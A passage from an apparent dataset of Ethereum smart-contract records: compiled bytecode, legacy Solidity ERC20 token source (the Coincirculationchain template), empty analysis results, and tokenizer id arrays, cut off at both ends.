ffffffffffff1690602001909291908035906020019092919050505061091d565b604051808215151515815260200191505060405180910390f35b3480156102e957600080fd5b506102f261094f565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031a57600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610966565b604051808215151515815260200191505060405180910390f35b34801561037f57600080fd5b50610388610996565b005b34801561039657600080fd5b506103d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a45565b604051808215151515815260200191505060405180910390f35b3480156103fb57600080fd5b5061041a60048036038101908080359060200190929190505050610a6f565b005b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a7c565b604051808215151515815260200191505060405180910390f35b34801561048357600080fd5b5061048c610a99565b604051808215151515815260200191505060405180910390f35b3480156104b257600080fd5b506104bb610ab0565b005b3480156104c957600080fd5b506104fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610abb565b6040518082815260200191505060405180910390f35b34801561052057600080fd5b5061055f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b03565b005b34801561056d57600080fd5b506105a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b11565b005b3480156105b057600080fd5b506105b9610b31565b005b3480156105c757600080fd5b506105d0610be1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106105780820151818401526020810190506105f5565b50505050905090810190601f16801561063d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561065757600080fd5b5061068c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c83565b005b34801561069a57600080fd5b506106a3610ca3565b005b3480156106b157600080fd5b506106f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cae565b604051808215151515815260200191505060405180910390f35b34801561071657600080fd5b50610755600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cde565b604051808215151515815260200191505060405180910390f35b34801561077b57600080fd5b506107b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0e565b604051808215151515815260200191505060405180910390f35b3480156107d657600080fd5b5061082b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d2b565b6040518082815260200191505060405180910390f35b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108d95780601f106108ae576101008083540402835291602001916108d9565b820191906000526020600020905b8154815290600101906020018083116108bc57829003601f168201915b5050505050905090565b6000600560009054906101000a900460ff1615151561090157600080fd5b61090b8383610db2565b905092915050565b6000600254905090565b6000600560009054906101000a900460ff1615151561093b57600080fd5b610946848484610edf565b90509392505050565b6000600860009054906101000a900460ff16905090565b6000600560009054906101000a900460ff1615151561098457600080fd5b61098e83836110e7565b905092915050565b61099f33610a7c565b15156109aa57600080fd5b600560009054906101000a900460ff1615156109c557600080fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610a5033610d0e565b1515610a5b57600080fd5b610a65838361131e565b6001905092915050565b610a793382611472565b50565b6000610a928260046115c690919063ffffffff16565b9050919050565b6000600560009054906101000a900460ff16905090565b610ab93361165a565b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b0d82826116b4565b5050565b610b1a33610a7c565b1515610b2557600080fd5b610b2e816118b2565b50565b610b3a33610a7c565b1515610b4557600080fd5b600560009054906101000a900460ff16151515610b6157600080fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c795780601f10610c4e57610100808354040283529160200191610c79565b820191906000526020600020905b815481529060010190602001808311610c5c57829003601f168201915b5050505050905090565b610c8c33610d0e565b1515610c9757600080fd5b610ca08161190c565b50565b610cac33611966565b565b6000600560009054906101000a900460ff16151515610ccc57600080fd5b610cd683836119c0565b905092915050565b6000600560009054906101000a900460ff16151515610cfc57600080fd5b610d068383611bf7565b905092915050565b6000610d248260036115c690919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610def57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610f7082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0e90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ffb848484611c2f565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561112457600080fd5b6111b382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfb90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561135a57600080fd5b61136f81600254611dfb90919063ffffffff16565b6002819055506113c6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfb90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156114ae57600080fd5b6114c381600254611c0e90919063ffffffff16565b60028190555061151a816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561160357600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61166e816004611e1c90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b61174381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0e90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117cd8282611472565b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a35050565b6118c6816004611ecb90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b611920816003611ecb90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b61197a816003611e1c90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119fd57600080fd5b611a8c82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0e90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000611c04338484611c2f565b6001905092915050565b600080838311151515611c2057600080fd5b82840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c6b57600080fd5b611cbc816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d4f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfb90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000808284019050838110151515611e1257600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e5857600080fd5b611e6282826115c6565b1515611e6d57600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f0757600080fd5b611f1182826115c6565b151515611f1d57600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a723058200a8f57286fac5d012021b1c2c484032809894bc3dcc655552fbba57a1cdfcf6e0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2278, 2475, 2063, 2581, 27421, 2278, 2581, 6679, 24434, 2692, 2063, 22407, 16048, 2692, 2497, 2094, 2692, 20958, 2683, 2581, 2278, 22275, 2546, 2683, 2575, 2094, 2692, 2683, 2475, 2497, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2423, 1025, 1013, 1013, 5371, 1024, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 6327, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,823
0x95c41f88f11953d3642ca29d7aa327087313c7f0
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract Coincirculationchain is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'T1.0'; function Coincirculationchain( ) { balances[msg.sender] = 17300000000000000000000000000; totalSupply = 17300000000000000000000000000; name = "Coincirculationchain"; decimals = 18; symbol = "CC"; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806354fd4d501461027857806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063dd62ed3e146104d8575b34156100ba57600080fd5b600080fd5b34156100ca57600080fd5b6100d2610544565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106da565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610953565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61028b610966565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102cb5780820151818401526020810190506102b0565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a04565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610a4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aea565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c50565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eed565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105da5780601f106105af576101008083540402835291602001916105da565b820191906000526020600020905b8154815290600101906020018083116105bd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107a6575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107b25750600082115b1561094757816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061094c565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109fc5780601f106109d1576101008083540402835291602001916109fc565b820191906000526020600020905b8154815290600101906020018083116109df57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3a5750600082115b15610c4557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c4a565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e91578082015181840152602081019050610e76565b50505050905090810190601f168015610ebe5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610ee257600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a723058201f866d7f16cf3a08845f94759ca9ec41fc44605e498f26c013cb6f923d9219030029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2278, 23632, 2546, 2620, 2620, 2546, 14526, 2683, 22275, 2094, 21619, 20958, 3540, 24594, 2094, 2581, 11057, 16703, 19841, 2620, 2581, 21486, 2509, 2278, 2581, 2546, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1018, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 5060, 4604, 1036, 1035, 3643, 1036, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,824
0x95c4ac982896440213a8070074f773ef00056984
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on 